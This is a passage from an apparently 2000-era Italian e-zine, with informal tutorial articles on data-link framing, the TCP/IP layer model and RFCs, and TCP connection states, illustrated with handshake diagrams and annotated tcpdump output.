Facciamo un esempio: una rete Ethernet ha, di solito, una MTU di 1500 ottetti; quidi se noi dobbiamo inviare 2000 byte, avremo bisogno di due blocchi e ciascuno di essi avrà l'intestazione del frame. Come si fa a capire quando inizia un frame e quando finisce, cioè come si possono delimitare i frame? Alcuni potrebbero dire...usiamo lo spazio temporale, un frame arriverà prima o dopo di un altro; quindi usiamo l'intervallo che divide i frame. Nooooo...cazzata! In rete non ci sono garanzie di temporizzazione quindi un metodo del genere non è sicuro. SOno stati creati dei metodi che permettono una netta separazione tra un frame ed un altro. Vediamoli: Framing ======= I metodi utilizzati sono: -Conteggio dei caratteri. -Carattteri di inizio e fine con CHARACTER STUFFING -Bit pattern di inizio e fine con BIT STUFFING -Violazione della codifica dei bit a livello fisico CONTEGGIO DEI CARATTERI: viene utilizzato un campo nell'header che indicare quanti caratteri contiene un frame. __________________________________________________________ | | 5 | 0 | 8 | 10 | 4 | 2 | 4 | 3 | 4 | |_____|_____|_____|_____|_____|_____|_____|_____|_____|____| |_____________________________|______________________| | | FRAME 1 FRAME 2 (5 caratteri) (4 caratteri) Questo metodo, è piuttosto semplice da implementare, ma purtroppo ha un grosso difetto. Se durante la trasmissione il campo che contiene il conteggio dei caratteri viene danneggiato...ADIOS AMIGOS...non si capirà più una mazza, cioè non si potrà capire nè la fine nè l'inizio degli altri frame...una reazione a cascata. Per questa sua scarsa affidabilità, questo sistema non è usato quasi più. CHARACTER STUFFING: qui ogni inizio o fine di un frame viene segnalato da una particolare sequenza di caratteri ASCII. La sequenza più utilizzata è: -inizio frame: DLE (Data Link Escape), STX (Start of Text) -fine frame: DLE, ETX (End of Text) In questo modo i frame saranno riconosciuti dalla coppia DLE-STX (inizio) e DLE-ETX (fine) e anche se un frame viene danneggiato, gli altri potranno essere riconosciuti. Bello no? Ma come al solito c'è sempre il problema di turno a rompere i ballun. Quando si ha una trasmissione di dati binari (0-1), il byte che corrisponde alla codifica di DLE può apparire dentro il frame stesso, quindi dentro l'area dati incasinando la cosa. Allora, il nostro caro L2 sorgente entra in gioco aggiungendo davanti al DLE taroccato un altro DLE che sarà esterno all'area dati e quindi svolgerà alla grande il suo dovere. Altreattanto diligente è L2 di destinazione che dovendo passare i dati ad L3, deve ripulirlo del DLE erroneamente inserito nell'aria dati. Questa procedura viene appunto definita come Character Stuffing. BIT PATTERN DI INIZIO E FINE:il metodo visto prima si basa sulla codifica ASCII, quindi non compatibile con codifiche più attuali, quali quella dell'UNICODE. In questa procedura, il frame inizia e finisce con una sequenza di bit (bit pattern appunto):01111110 detta flag byte. Anche in questo caso la flag byte può andare a finire all'interno del campo dati e allora come ci si comporta? In questo caso chi trasmette, se incontra una sequenza continua di 5 bit uguali a 1, aggiunge uno 0 alla fine. chi riceve, viceversa, se incontra 5 bit uguali a 1, toglie lo zero finale aggiunto dalla sorgente. Questa tecnica è note come Bit Stuffing. VIOLAZIONI DELLA CODIFICA: in alcune architetture di reti, i bit vengono codificati al livello fisico in modo che: -il valore 1 di un bit dati è codificato dalla coppia high/low di bit fisici. -il valore 0 invece è dato da una coppia low/high di bit fisici. Come si vede le coppie low/low e high/high non sono utilizzate e quindi possono essere utilizzate facilmente per delimitare i bib dati. Bene ragazzi....per ora è tutto...non ce la faccio più....nel prossimo numero vedermo come il livello DATA LINK corregge gli errori e come regola il traffico tra i due host. Inoltre vedremo le generalità degli altri livelli per poi poter addentrarci nei protocolli specifici...primo tra tutti il TCP/IP. Di questo ne avrete un assaggio nei prossimi due articoli...adios sobreros...alla prossimas.. eheheheh Fonti consultate: - Sempre quei famosi appunti del prof. Bongiovanni... se non ricordo male....un tipo tosto. - Articoli vari sparsi sulla rete che non cito per eccessiva lunghezza e comunque un grazie caloroso ai numerosi autori che dividono con il mondo le loro conoscenze... anche con noi miseri mortali... - Libro delle reti locali: dal cablaggio all'internetworking BYE Fonti consultate: - Sempre quei famosi appunti del prof. Bongiovanni... se non ricordo male....un tipo tosto. - Articoli vari sparsi sulla rete che non cito per eccessiva lunghezza e comunque un grazie caloroso ai numerosi autori che dividono con il mondo le loro conoscenze...anche con noi miseri mortali... - Libro delle reti locali: dal cablaggio all'internetworking BYE ____________________________________________________________________________ / Merlinus /| +===========================================================================+ | | | | | [ TCP/IP I parte ] | | | --------------- | / +===========================================================================+/ All'inizio fu ARPANET, la madre di tutte le reti. Un progetto finanziato dal Dipartimento della Difesa americano. La loro paura era quella che in caso di un conflitto nucleare ci sarebbe stato il blocco di tutte le informazioni e quindi finanziarono un progetto che permettesse la creazione di una rete informatica le cui parti fossero indipendenti l'una dall'altra cosicchè se una porzione della suddetta rete fosse stata distrutta, le porzioni restanti avrebbero continuato a funzionare. Con il crescere ed il diversificarsi delle reti connesse, si sentì l'esigenza di creare una architettura stabile che potesse collegare questo mondo eterogeneo. Nacque così la suite dei protocolli TCP/IP. Le specifiche del protocollo TCP/IP sono ampiamente descritte negli RFC(Request For Comments)ossia documenti in formato testo che spiegano per filo e per segno tutto il TCP/IP. RFC === Gli RFC più importanti sono: -RFC dei numeri assegnati, che specifica tutti i numeri e le costanti "MAGICHE" che sono utilizzati dai protocolli TCP/IP. Questa RFC è annualmente aggiornata e una volta aggiornata quella nuova riporta il numero della vecchia RFC. -RFC degli standard dei protocolli ufficiali di TCP/IP, che specifica lo stato della standardizzazione dei vari protocolli. La standardizzazione di ciascun protocollo può trovarsi nello stato: + "standard" + "bozza di standard" (draft standard) + "proposta di standard" (proposed standard) + "sperimentale" (experimental) + "informativo" (informational) + "storico" (hystoric). Inoltre ogni protocollo può avere il livello di richiesta: + "richiesto" (request) + "raccomandato" (recommended) + "elettivo" (elective) + "uso limitato" (limited use) + "non raccomandato" (not recommended) -RFC dei requisiti di un host che gestiscono i 4 livelli della suite TCP/IP. Queste RFC possono specificare un aspetto o un dettaglio dell'implementazione di un protocollo usando il verbo sotto descritti a seconda della necessita o meno di realizzarlo: + "deve" (must) + "dovrebbe" (should) + "may" (può) + "non dovrebbe" (should not) + "non deve" (must not) -RFC dei requisiti di un router che specifica i requisiti di un router. Elenco di seguito il numero degli RFC più importanti relativi a Luglio 2000 con l'argomento trattato. Vi può essere utile per approfondire le cose. Unica limitazione...tutto rigorosamente in inglese. ___________________________________________________ RFC DESCRIZIONE ___________________________________________________ 768 User datagram protocol (UDP) 791 Internet protocol (IP) 792 Internet control mrssage protocol(ICMP) 793 Trasmission control protocol (TCP) 821 Simple mail transfer protocol (SMTP) 822 Format foe electronic mail message 950 IP subnet extension 959 File transfer protocol (FTP) 1034 Domani name 1122-1123 Hosts requests 1661 Point to point protocol (PPP) 1752 The raccomandation for IPng protocol 2600 TCP/IP standards ___________________________________________________ Gli altri ve li cercate da soli..... Anche il TCP/IP, come descritto nell'articolo generale sui protocolli, è strutturato in livelli. A differenza del modello ISO/OSI che conta 7 livelli, il TCP/IP ne conta 4. Diciamo che esiste una relazione di questo tipo: OSI TCP/IP APPLICATION ---------------------- APPLICATION PRESENTATION ---------------------- / SESSION ---------------------- / TRANSPORT ---------------------- TRANSPORT NETWORK ---------------------- INTERNET DATA LINK ---------------------\ HOST TO NETWORK FISICO ---------------------/ Come è possibile vedere la struttura a livelli è comune come anche le loro funzioni, ma cambia il numero degli stessi. La differenza di fondo è che l'ISO/OSI nasce come modello di riferimento e perciò la descrizione dei protocolli nacque in seguito. Il TCP/IP nasce con i protocolli ed il modello nacque in seguito. Da un punto di vista pratico l'Internet protocol suite (TCP/IP=IPS per comodità) è stata subito ampiamente accettata e si diffuse molto velocemente. L'ISO/OSI fu un fiasco, proprio perchè la descrizione dei protocolli giunse troppo in ritardo, quando ormai l'IPS la faceva da padrone. Inoltre alcune scelte furono mal fatte: i sette livelli (secondo le lingue biforcute nacquero dall'architettura SNA dell'IBM che naturalmente tirava l'acqua al suo mulino....)ed inoltre i livelli erano mal implementati (infatti gli stessi livelli "presentation" e "session" risultano praticamente inutili), insomma per dirla breve UNA CAGATA! ***IMPORTANTE*** Una cosa importante da dire è che il livello 1 (Host to network) del TCP/IP, non è specificato nell'architettura, infatti prevede di utilizzare i protocolli che ciascuna rete ha a disposizione secondo l'HW e secondo la strutturazione della rete stessa. Questo è un concetto importante da tenere bene in quelle cucuzze piene di tanto materiale (acqua, escementi ecc....ehehehe). Il TCP/IP è strutturato come segue: _______________ | APPLICAZIONE | LIVELLO 4 |_______________| | TRASPORTO | LIVELLO 3 |_______________| | RETE | LIVELLO 2 |_______________| | COLLEGAMENTO | LIVELLO 1 |_______________| I servizi che ciascun livello fornisce, sono realizzati da vari protocolli che presentano una collocazione precisa all'interno della pila, secondo il seguente schema: Protocollo di Protocollo di Protocollo di Protocollo di LIVELLO 4 applicazione applicazione applicazione applicazione | | | | ------------------|-----------------|-----------------|-----------------|-------- | | | | LIVELLO 3 UDP | TCP | \ | / | -------------------\----------------|----------------/----------------ICMP--IGMP- \ | / / / LIVELLO 2 \_ _ _ _ _ _ _ IP_ _ _ _ _ _ _/_ _ _ _ _ _ _ _ _ _/_ __/ | -----------------ARP----------------|----------------RARP------------------------ | | | LIVELLO 1 Interfaccia di Interfaccia di Interfaccia di rete rete rete Bel disegnino....complimenti Merlinus...eheheh un pò di autoesaltazione ci vuole! In generale, quindi i protocolli utilizzati sono i seguenti: ARP: protocollo del livello di collegamento che viene utilizzato normalmente nelle reti broadcast (dette anche reti multiaccesso da non confondere con multipunto) per trasformare un indirizzo utilizzato a livello di rete nel rispettivo indirizzo utilizzato a livello di collegamento (vedremo dopo cosa significa). RARP: protocollo sempre del livello di collegamento usato nelle reti broadcast dagli hosts privi di disco fisso. la funzione è quella di ottenere l'indirizzo usato al livello di rete corrispondente all'inidirizzo utilizzato a livello di collegamento. IP: Protocollo principale, infatti come si vede dal disegno, tutte le strade portano all'IP, cioè tutti i protocolli superiori convogliano i dati verso IP. Vedremo il perchè di cotanto potere accentratore dell'IP(megalomane). ICMP: Protocollo del livello di rete. I suoi servizi sono in relazione alla gestione degli errori che possono venir fuori nell'invio di un datagramma IP. Altro servizio è lo scambio di informazioni diagnostiche tra hosts o tra hosts e routers. IGMP: Protocollo del livello di rete usato per la spedizione di unastessa informazione a più hosts (multicasting...vi ricordate?). TCP: Protocollo del livello di trasporto con la funzione di inviare dati con particolari caratteristiche verso un altro host. UDP: Protocollo del livello di trasporto. Stesse funzioni del TCP ma con caratteristiche diverse. Per ora è tutto...la prossima volta andremo ad approfondire tutte queste cose, MA per farvi già addentrare nella cosa di seguito c'è l'articolo di XABARAS che vi spiega uno dei protocolli suddetti...da non perdere credetemi. Fonti consultate: - TCP/IP libro dell'APOGEO - Le solite fonti numerose e diffuse sulla rete. ____________________________________________________________________________ / ][^XaBaRaS^][ /| +===========================================================================+ | | | | | [ Gli stati delle connessioni TCP ] | | | ------------------------------- | / +===========================================================================+/ Non Faccio Altro Che Ascoltare: The Groud Beneath The Feet (U2) Stato Mentale Di Chi Mi Frequenta: Give Up!!! Ok, questo dovrebbe essere il primo articolo che sto stilando per l'uscita del secondo numero di Security System, che a detta del coordinatore Merlinus sembra che stia andando bene a livello di download (se il contatore nel sito ssystem.cjb.net non dice cazzate ad oggi 25 Novembre 2000, più di 130 persone hanno scaricato la rivista), il che mi sembra un ottimo risultato, date le intemperie e la poca e mal'organizzata pubblicità fatta. Tralasciando questi aspetti che penso saranno trattati nell'editoriale (sempre che non si decida di fare sciopero) diamo una breve introduzione all'argomento trattato oggi. Allora, come sempre il tutto verrà visto in una luce 'semplificata', cercando di ridurre i termini tecnici ad un livello accettabile.... sicuramente sempre sotto il limite rosso di sicurezza....no, non certamente come i fiumi italiani nel periodo invernale :) Qui si parlerà degli stati delle connessioni che sono *fondamentali* per cominciare a capirne di programmazione e concetti di rete ma anche per capire cosa accade quando i client ci dicono qualcosa simile a "connection established with XXX.XXX.XXX.XXX". Si bhè, il concetto di stato non dovrebbe essere molto difficile da comprendere in quanto facilmente riscontrabile ai fatti della realtà: si è in "stato di arresto" perchè abbiamo commesso qualcosa di giuridicamente compromettente per noi stessi, si è in "stato di shock" perchè abbiamo subito un trauma, si è in stato d'assedio... beh comincio a pensare che abbiate capito :) Questi stati e i passaggi dagli uni agli altri (per esempio il passaggio dallo "stato di libertà" allo "stato di arresto") vengono in qualche modo regolati e manipolati da qualcuno, un'organizzazione o la legge, così come fa il TCP. Alle domande tipo ma quali sono gli stati del TCP e come fa questo a deciderne il passaggio da uno all'altro bisogna attendere ancora per ricevere risposta, perchè bisogna introdurre altre nozioni che ci porteranno alla comprensione di "tutto" l'articolo. Il TCP è uno dei 2 protocolli di trasporto dati nella suite di protocolli TCP/IP ed è il più sicuro per la consegna dei dati, nel senso che saremo sempre certi che questi arriveranno a destinazione. L'altro protocollo è L'UDP ed è quello "non sicuro" (in inglese viene detto "connectionless protocol"). Quando da un lato e dell'altro vi stanno un client ed un server UDP, il primo comincerà a trasmettere dati al secondo senza avvertirlo, senza controllare se è pronto alla ricezione di questi. E' un pò come se andiamo a casa di un nostro amico sicuri del fatto che quando suoneremo alla porta questo ci aprirà, ma chi ci dice che lui in quel momento non sia fuori casa o sia a letto con la febbre in modo che non possa aprirci? Beh, questo è quello che fa l'UDP. Il TCP ragiona in un modo diverso; invece di cominciare a spedire direttamenti i dati al server, gli manda prima dei pacchetti per fargli sapere le sue intenzioni e per capire se dall'altra parte lui è pronto a riceverli. Appurato ciò il client TCP comincerà a spedire la parte più importante della transazione al server TCP: vale a dire i dati. Dal punto di vista umano è come se invece di andare direttamente a casa dell'amico sopra menzionato gli telefonassimo per sapere se è disponibile nel ricevere la nostra visita. Adesso dovremo concentrarci proprio sullo scambio di pacchetti iniziali del TCP di cui parlavamo sopra. Spero che quanto meno abbiate il concetto "metaforico" di pacchetto per andare avanti nella lettura di questo articolo. Bene all'interno dei pacchetti TCP vi sono delle opzioni che possono essere o meno abilitate per far comprendere all'altro lato (il server) cosa vogliamo fare: se iniziare una connessione, se terminarla, se mandare dati etc... Nel caso vogliamo far sapere al server che siamo intenzionati nello stabilire una connessione con lui le opzioni implicate all'interno dei pacchetti TCP sono 2: SYN ACK distribuite durante la sessione di connessione in questo modo: client ____SYN J_____________>> server client <<__ACK J+1 & SYN K_____ server client ____ACK K+1___________>> server All'inizio quando il client vuole stabilire la connessione manda al server un pacchetto con il flag SYN attivato e con J che è un numero massimo di 32 bit che varia da connessione a connessione e che chiameremo ISN (initial sequence number). In futuro annaspando un pò di qua ed un pò di là capiremo che la predizione di questo numero ci servirà per tecniche d'attacco molto raffinate come l'hjihacking. Il flag SYN potrebbe essere interpretato come SYNcronizza, in pratica affinchè la connessione possa essere stabilita, il client ha bisogno dell'ISN a 32 bit del server, ed il server ha bisogno di quello del client (in quanto i 2 sono quasi matematicamente diversi). A questo punto il server manda il proprio ISN nel SYN (SYN di K) e nello stesso pacchetto attiva anche il flag ACK (acknoledgment) che contiene un numero a 32 bit formato dall'ISN mandato dal client (J) + 1. Questa pratica sta ad indicare che il server ha ricevuto correttamente l'ISN del client e che si può andare avanti nella transazione TCP. Il client, dal canto suo, fa lo stesso, riconoscendo l'ISN mandato dal server con un pacchetto contenente il flag ACK (ACK K+1). A questo punto la connessione è stabilita e si può procedere con l'invio dei dati. Questa procedura iniziale viene anche chiamata 3WHS (3 way handshake) ed è caratterizzata proprio dallo scambio di 3 pacchetti tra client e server. Abbiamo introdotto prima il concetto di "stato", adesso cerchiamo di portarlo al TCP. Solitamente un server mette a disposizione un servizio che è individuabile attraverso una porta, quindi nell'attimo prima che un client stabilisca una connessione lui sta lì tranquillo in stato di LISTEN (ascolto). Se abbiamo una macchina con un qualsiasi sistema operativo in cui vi sia un servizio qualsiasi possiamo digitare nella shell "netstat -a" per vedere tutti i socket in stato di LISTEN. Viceversa il client, l'attimo prima di mandare il pacchetto SYN J sta nello stato CLOSED. Se come al solito scrivete netstat -a dalla shell questa volta non vedrete nessun socket nello stato CLOSED; perchè? Beh perchè TUTTI i socket inizialmente stanno nello stato CLOSED ed il netstat non li mostra :) Adesso vediamo i cambiamenti degli stati TCP durante il corso dello stabilimento della connessione (quindi teniamo sott'occhio il disegno del 3WHS fatto prima): Il client manda il pacchetto SYN J: Il suo stato si muove da "CLOSED" a "SYN_SENT" (vale a dire SYN inviato). Il server riceve il SYN J e manda il SYN K & l'ACK J + 1: Il suo stato si muove da "LISTEN" a "SYN_RCVD" (vale a dire SYN ricevuto). Il client riceve il SYN K & l'ACK J + 1 del server e manda l'ACK K + 1: Il suo stato si muove da "SYN_SENT" a "ESTABLISHED" (vale a dire che dal suo lato la connessione è stata stabilita). Il server riceve l'ACK K + 1: Il suo stato si muove da "SYN_RCVD" a "ESTABLISHED". La connessione TCP adesso è aperta anche dal suo lato, quindi è stabilita in TUTTO e PER TUTTO. Il concetto di stato dovrebbe essere davvero semplice da comprendere. Adesso vediamo cosa accade quando il client decide di terminare la transazione dati con il server. Saltiamo la parte in cui il client ed il server si scambiano i dati perchè non avvengono sostanziali differenze di stato durante questa fase (in entrambi i capi di collegamento lo stato della connessione sarà sempre ESTABLISHED). Supponiamo che il client abbia terminato di mandare dati al server e che decida di disfare la connessione; le opzioni implicate nei pacchetti sono sempre 2, ma questa volta sono: FIN ACK vediamo come vengono distribuite: client ____FIN K_____________>> server client <<__ACK K+1___________ server client <<__FIN M_____________ server client ____ACK M+1___________>> server Il client manda un pacchetto FIN (che identifica la volontà di voler terminare il collegamento) con un numero a 32 bit (K) [attenzione come vengono scelti questi numeri non è argomento di questo articolo]. Il server dice quindi al client di aver capito che gli ha mandato un FIN K e per fare ciò replica con un ACK di K+1. Il server adesso manda al client il suo FIN M che viene riconosciuto con un ACK di M+1. Da questo momento in poi nessun dato fluisce più su quel socket tra client e server. La fine di una transazione TCP viene dettata solitamente dallo scambio di 4 pacchetti, ma potrebbe venire effettuata anche con 3 pacchetti, mandando il pacchetto 2 e 3 insieme, proprio come viene fatto per lo stabilimento di una connessione TCP. Adesso vediamo il cambiamento degli stati: Il client manda il FIN K al server: il suo stato cambia da "ESTABLISHED" a "FIN_WAIT_1" Il server replica con ACK K + 1: Il suo stato si muove da "ESTABLISHED" a "CLOSE_WAIT" Quando il client riceve l'ACK K + 1 dal server: il suo stato passa da "FIN_WAIT_1" a "FIN_WAIT_2". Il client non manda niente al server. Il server manda ancora un pacchetto con il flag FIN di M: lo stato del server cambia da "CLOSE_WAIT" a "LAST_ACK" Quando il client riceve il FIN M dal server: il suo stato si muove da "FIN_WAIT_2" a "TIME_WAIT" Il client adesso manda il suo ACK M + 1: Il suo stato passa da "TIME_WAIT" a "CLOSED" Quando il server riceve l'ACK M + 1 dal client: Il suo stato passa da "LAST_ACK" a "CLOSED" Qui ci sono 2 cose da puntualizzare: - La prima è che il passaggio da TIME_WAIT a CLOSED da parte del client non è immediato, ma è soggetto a tempi particolari di cui tra poco parleremo. - In secondo luogo qualcuno si potrebbe domandare, ma come mai il server passa dallo stato LAST_ACK a CLOSED invece di ritornare a LISTEN come era prima? Qui la conclusione sta nel fatto che si deve fare distinzione tra un socket in ascolto e un socket connesso. Dopo spiegheremo anche questo. [ L'IMPORTANZA DELLO STATO TIME_WAIT ] Il capo della connessione che emette una chiusura attiva (abbiamo supposto che fosse il client qui) passa nello stato TIME_WAIT. Prima di comprenderne l'utilizzo cerchiamo di capire cosa sia l'MSL di un pacchetto. MSL sta per "Maximum Segment Life" e sta ad indicare il tempo massimo di vita in cui un pacchetto può stare nella rete. Questo tempo è variabile e viene settato a valori diversi da ogni implementazione TCP (comunque è identificabile sempre tra 1 e 4 minuti). Questo MSL è stato introdotto perchè effettivamente un pacchetto si può perdere in rete. Poniamo il caso che dopo averlo spedito questo passi dal router "A" che lo invia al router "B"; tale router è andato in crash ed ha problemi quindi reinvia il pacchetto al router "A" il quale lo reinoltra nuovamente al router "B" in un ciclo infinito. Si vengono così a creare i loop routing (i cicli di routing) in cui il pacchetto rimane intrappolato in una data locazione. Ciò può causare problemi di congestione della rete, o addirittura il problema potrebbe essere risolto in tempi accettabili ed il pacchetto verrebbe consegnato a destinazione. Possibilmente durante tutto questo tempo, il client non vedendosi inviato l'ACK del pacchetto perso da parte del server (si dice quindi che il pacchetto inviato va in timeout), lo reinvia . Ponendo il caso che questo arrivi prima del pacchetto che si era perso nel ciclo di routing e che quest'ultimo effettivamente riesca ad arrivare a destinazione, si potrebbero creare problemi di identificazione a causa di questo duplicato perso. Ecco che viene introdotto l'MSL. Se durante il tempo MSL il pacchetto non arriva a destinazione, questo viene ignorato, scartato, come si dice scade nella rete. L'MSL risolve così i problemi di congestione, ma ciò non significa che il caso del pacchetto duplicato menzionato prima non si possa verificare, anzi; il loop routing potrebbe infatti essere risolto prima dello scadere dell'MSL, quindi il TCP deve essere pronto a gestire la situazione dei duplicati persi. Lo stato TIME_WAIT esiste per 2 motivi fondamentali: 1) La connessione tra client e server deve essere chiusa in modo CORRETTO. Osserviamo l'invio dei pacchetti per la fine di una transazione TCP ed i relativi stati menzionati prima. Poniamo il caso che il pacchetto che determina il LAST_ACK del server venga perso, questo ritrasmetterà il suo FIN. Il client deve mantenere le informazioni sullo stato per fare in modo che possa sapere quando inviare l'ACK finale che chiuderebbe definitivamente la connessione. Si capisce quindi perchè lo stato TIME_WAIT è presente nel capo che ha emesso la chiusura attiva, perchè è l'unico interessato a mandare l'ACK finale per chiudere la connessione in modo corretto. 2) Il secondo motivo consiste nel fatto di prevenire che i duplicati persi dei pacchetti si facciano vivi e vengano mal interpretati nella attuale connessione. Poniamo il caso infatti che la coppia socket di una connessione sia formata da: client ip = 195.24.24.24 porta 1097 server ip = 128.16.6.6 porta 25 Bene, supponiamo che la connessione tra questi due host venga chiusa e che qualche tempo dopo venga riaperta avendo come coppia socket sempre gli stessi valori (quindi numeri di porta ed ip uguali). Questa connessione viene detta "incarnazione della precedente". Adesso poniamo il caso che dopo un loop di routing arrivi a destinazione un pacchetto che faceva parte della connessione precedente, questo verrebbe mal interpretato quasi sicuramente. Per ovviare a questo fatto non si può effettuare l'incarnazione di una connessione che sta ancora nello stato TIME_WAIT. Il tempo in cui lo stato sta fermo in TIME_WAIT è il doppio MSL (2MSL), quindi se l'MSL è di 2 minuti il 2MSL è di 4 minuti. Ciò permette di far scadere nella rete tutti i duplicati persi in modo che non si ripresentino nel caso in cui si verifichi l'incarnazione di una connessione. Dopo il 2MSL la coppia socket può essere riusata. [ DIFFERENZA TRA I SOCKET ] Prima abbiamo detto che quando il client invia l'ultimo ACK M + 1 al server (vedere le figure sopra) passa dallo stato LAST_ACK allo stato CLOSED e ci eravamo posti la domanda del perchè non ritorni allo stato LISTEN. Ora si potrebbe aggiungere: ma il passaggio da LAST_ACK a CLOSED non dovrebbe anche causare la chiusura del server? Vediamo la figura sotto: socket in ascolto ------------------- -------------------- - server - - client - - {128.16.6.6.25} - - {195.24.24.24.*} - - {*.*} - - {*.*} - ------------------- -------------------- Il server a sinistra sta nello stato "LISTEN". Il suo indirizzo IP 128.16.6.6 sta ascoltando sulla porta 25 ('128.6.6.6' è l'indirizzo IP '.25' è la porta). Nessuno è collegato a lui quindi non siamo nè a conoscenza dell'IP del client ('*') nè della rispettiva porta ('.*'). Per quanto riguarda invece il client sulla destra questo è a conoscenza del suo IP ma non è collegato ad alcun server, quindi non conosce nè la sua porta locale ne i dati del socket del server. socket in ascolto ----------------------- ----------------------- - server - richiesta di connessione - client - - {128.16.6.6.25} - <------------------------- - {195.24.24.24.1097} - - {*.*} - - {128.16.6.6.25} - ----------------------- ----------------------- Adesso il client "richiede" una connessione al server (attenzione la connessione non è ancora stabilita). Il capo del client determina la coppia socket completa e va a riempire i dati mancanti che erano caratterizzati dagli '*' mentre il server non fa ancora questo lavoro. socket in ascolto -------------------- ----------------------- - server - - client - - {128.16.6.6.25} - -- - {195.24.24.24.1097} - - {*.*} - / - {128.16.6.6.25} - -------------------- / ----------------------- | / fork / | / v / socket connesso / ----------------------- / - server - / - {128.16.6.6.25} - <- - {195.24.24.24.1097} - ----------------------- Dopo la richiesta di connessione succede che il server fa un duplicato di se stesso (in gergo si dice che forka un figlio) ed è questo che comunicherà con il client. Questo figlio è il socket connesso o altrimenti detto di collegamento che determinando l'ip e la porta del client riempie i suoi dati mancanti della connessione (vale a dire gli '*'). Lo scambio di dati non avverrà tra il client ed il socket in ascolto, ma tra lui e quello connesso, per questo quando i dati finiscono di fluire il socket connesso può essere chiuso senza compromettere il funzionamento del server (dato che va a finire nello stato CLOSED come abbiamo visto). Il server rimane sempre con il socket in ascolto libero (si nota dal fatto che i suoi dati mancanti '*.*' non sono mai riempiti) di modo che se qualche altro client si collega al servizio sulla porta 25 questa non sarà mai occupata. Anche per un altro client il server forkerà un nuovo figlio in modo da gestirne il collegamento. Questo tipo di server viene chiamato "concorrente" dato che può gestire più client in una volta lasciando il socket in ascolto sempre libero per la ricezione di altre chiamate da smistare ordinariamente agli altri figli forkati. [ ALTRO DA DIRE ... ] Gli stati TCP sono 11 in totale: CLOSED LISTEN SYN_RCVD SYN_SENT ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 CLOSING TIME_WAIT CLOSE_WAIT LAST_ACK e CLOSED è sempre il punto d'inizio ed il punto finale. Ritengo che familiarizzare con questi concetti sia davvero importante, più che altro perchè almeno riuscirete a capire cosa sono quelle paroline blasfeme contenute nell'output del netstat :) ...e poi dopotutto avete anche fatto la conoscenza di 3 flag TCP: il FIN, il SYN e l'ACK, quanto basta per comprendere l'output del tcpdump di inizio e fine connessione TCP. A proposito ... impariamo come con un tool quale il tcpdump o il windump possiamo determinare con successo tutte le informazioni più importanti sui pacchetti che stanno entrando od uscendo dal nostro PC o dalla nostra rete. Come prima cosa bisogna dire che il tcpdump o il windump generano un output similissimo. Diciamo che sono dei tool molto utili per determinare problemi di rete o per scovare possibili attacchi che sono diretti a noi... potreste anche utilizzarli assieme ad un firewall per imparare a capire quali pacchetti filtrare o meno. Il tcpdump si trova solitamente come installazione di default in tutte le distribuzioni di Linux, mentre il windump è il compare minore che funziona sotto Windows. Dove scaricarlo?? Esistono i motori di ricerca :) Adesso che abbiamo fatto la loro conoscenza vediamo cosa accade di preciso quando l'host haxxor.xabaras.net (residente nella mia rete locale) richiede una connessione sulla porta 25 a xabino.xabaras.net. Di seguito viene visualizzato lo scambio di pacchetti a cui sono state lasciate solamente le info più importanti per non confondervi; naturalmente il tcpdump da un output più completo di quello mostrato sotto: 14:46:13.096972 eth0 < haxxor.xabaras.net.1025 > xabino.xabaras.net.smtp: S 2675298147:2675298147(0) 14:46:13.097055 eth0 > xabino.xabaras.net.smtp > haxxor.xabaras.net.1025: S 1491193753:1491193753(0) ack 2675298148 14:46:13.097888 eth0 < haxxor.xabaras.net.1025 > xabino.xabaras.net.smtp: . 1:1(0) ack 1 Allora bisogna prima fare una precisione. Questo output è scaturito dal tcpdump eseguito sulla macchina che funge da server (in questo caso xabino.xabaras.net). 1° pacchetto: Alle 14:46:13 (096972 = decimi centesimi e millesimi di secondo) l'interfaccia eth0 (vale a dire la scheda di rete del server) rileva in entrata "<" un pacchetto mandato da haxxor.xabaras.net, il quale è stato inviato attraverso l'ausilio della porta 1025 (porta del client) verso xabino.xabaras.net nella sua porta smtp (vale a dire la 25). Nel pacchetto è stato attivato il flag SYN (che viene identificato da una S nell'output del tcpdump); attraverso il SYN comprendiamo che l'ISN del client è 2675298147. 2° pacchetto: Alle 14:46:13.097055 l'interfaccia eth0 rileva un pacchetto in uscita da xabino.xabaras.net porta 25 ad haxxor.xabaras.net porta 1025 (questi 4 valori altri non sarebbero che la coppia socket). In questo pacchetto il server comunica al client il proprio SYN che è settato a 1491193753, inoltre qui viene inviato anche un ACK del pacchetto precedente il cui valore è 2675298148; se ci fate caso è esettamente l'ISN del primo pacchetto inviato dal client + 1, proprio come avevamo detto quando si era parlato di stabilire la connessione tra client server. 3° pacchetto Alle 14:46:13.097888 l'interfaccia eth0 ha rilevato un pacchetto in entrata proveniente da haxxor.xabaras.net porta 1025 verso xabino.xabaras.net porta 25. Questo pacchetto contiene l'ACK del SYN mandato precedentemente dal server. Tutto ciò viene identificato con la notazione . 1:1(0) ack 1 onde evitare di ingombrare continuamente l'output del tcpdump con i numeri a 32 bit dei flag. Questo era il Three Way HandShake. Di seguito viene invece mostrato cosa succede quando viene terminato lo stesso collegamento: 14:46:37.376265 eth0 > xabino.xabaras.net.smtp > haxxor.xabaras.net.1025: F 136:136(0) 14:46:37.377027 eth0 < haxxor.xabaras.net.1025 > xabino.xabaras.net.smtp: . 7:7(0) ack 137 14:46:37.378926 eth0 < haxxor.xabaras.net.1025 > xabino.xabaras.net.smtp: F 7:7(0) 14:46:37.379000 eth0 > xabino.xabaras.net.smtp > haxxor.xabaras.net.1025: . 137:137(0) ack 8 1° pacchetto Alle 14:46:37.376265 l'interfaccia eth0 rileva un pacchetto in uscita da xabino.xabaras.net porta 25 verso haxxor.xabaras.net porta 1025. Questo pacchetto contiene il flag FIN (identificato con un numero fittizio 136). 2° pacchetto Alle 14:46:37.377027 l'interfaccia eth0 rileva un pacchetto in entrata da haxxor.xabaras.net porta 1025 verso xabino.xabaras.net porta 25. Tale pacchetto contiene l'ACK (137) del FIN precedente (che era 136). 3° pacchetto Alle 14:46:37.378926 l'interfaccia eth0 rileva un pacchetto in entrata da haxxor.xabaras.net porta 1025 a xabino.xabaras.net porta 25. Questo pacchetto contiene il FIN del client (identificato in modo fittizio da 7). 4° pacchetto Alle 14:46:37.379000 l'interfaccia eth0 rileva un pacchetto in uscita da xabino.xabaras.net porta 25 ad haxxor.xabaras.net porta 1025. Questo pacchetto contiene l'ACK (8) del FIN inviato precedentemente dal client (7). Dopo questa fase, la connessine è chiusa da entrambi i capi. Potete notare che in questo caso è il server che manda il primo FIN (dopo che il client si disconnette da esso con il comando QUIT illustrato da Merlinus sul suo 